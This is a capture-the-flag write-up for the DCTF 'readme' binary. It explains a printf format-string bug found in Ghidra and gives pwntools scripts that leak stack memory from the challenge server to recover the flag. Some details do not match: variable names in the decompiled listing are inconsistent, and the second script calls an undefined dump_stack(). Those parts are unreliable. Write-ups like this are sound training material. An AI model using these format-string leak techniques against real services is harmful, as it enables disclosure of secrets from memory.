Description
Read me to get the flag.
nc dctf-chall-readme.westeurope.azurecontainer.io 7481
Preface
We get a binary which asks for our name and then prints hello + input.
But in order for the binary to run, a file flag.txt
needs to be created in the working directoy.
Overview
Decompiling the binary in ghidra, we see a function vuln
where the logic happens.
The decompiled function with some renaming of the variables looks like this:
void vuln(void) {
FILE *flag_file;
long in_FS_OFFSET;
char flag [32];
char name [40];
long local_10;
stack_canary = *(long *)(in_FS_OFFSET + 40);
flag_file = fopen("flag.txt","r");
fgets(local_58,28,flag_file);
fclose(flag_file);
puts("hello, what\'s your name?");
fgets(name,30,stdin);
printf("hello ");
printf(name);
if (stack_canary != *(long *)(in_FS_OFFSET + 40)) {
__stack_chk_fail();
}
return;
}
From this we can see, that the flag is read and stored in the function stack frame.
Also we can see, that our input (name) is directly passed to printf
, so we got a format string possibility.
With %p
we can print values from the memory and with %1$p
we can also add an offset, to what memory we want to print.
Using this I played a little bit around with offsets, until I saw the hex for the flag in the output. During the CTF my exploit was pretty simple.
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = "INFO"
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
vulnerable = './readme'
payload = ""
for i in range(1,20):
#p = process( vulnerable )
p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
p.readuntil('hello, what\'s your name?')
p.sendline("%{}$p.".format(i))
p.readuntil('hello ')
leak = p.read(2048, timeout=1).strip().split(b'.')
for item in leak:
try:
log.info(p64(int(item, 16)))
except:
continue
p.close()
This already gave me almost the flag. Because I had to extend a closing bracket at the end of it.
After the CTF ended, I extended my Script, to be more efficient, because I could input multiple formats up to 30 characters. Also I want to have a function to dump the memory, in order to extend the size. Also the leaked memory was combined and then printed our, this way the flag was more obvious.
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = "INFO"
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
vulnerable = './readme'
payload = ""
def send_payload(fmtstr):
global payload
if len(payload) + len(fmtstr) >= 30:
#p = process( vulnerable )
p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
p.readuntil('hello, what\'s your name?')
p.sendline(payload)
p.readuntil('hello ')
leak = p.read(2048, timeout=1).strip().strip(b';').split(b';')
p.close()
payload = fmtstr
return leak
else:
payload += fmtstr
return []
def dump(num_bytes_leaked=20):
leaks = []
for i in range(num_bytes_leaked):
leaks.extend(send_payload("%{}$p;".format(1+i)))
stack_leak = map(lambda y: 0 if b'nil' in y else int(y, 16), leaks)
return stack_leak
sl = dump_stack()
slb = b''.join(map(p64, sl))
log.info(hexdump(slb))
x = slb[slb.find(b'dctf{'):]
x = x[:(x.find(b'\x00'))]
log.info('flag is: ' + x.decode('ASCII') + '}')
The complete flag was:
dctf{n0w_g0_r3ad_s0me_b00k5}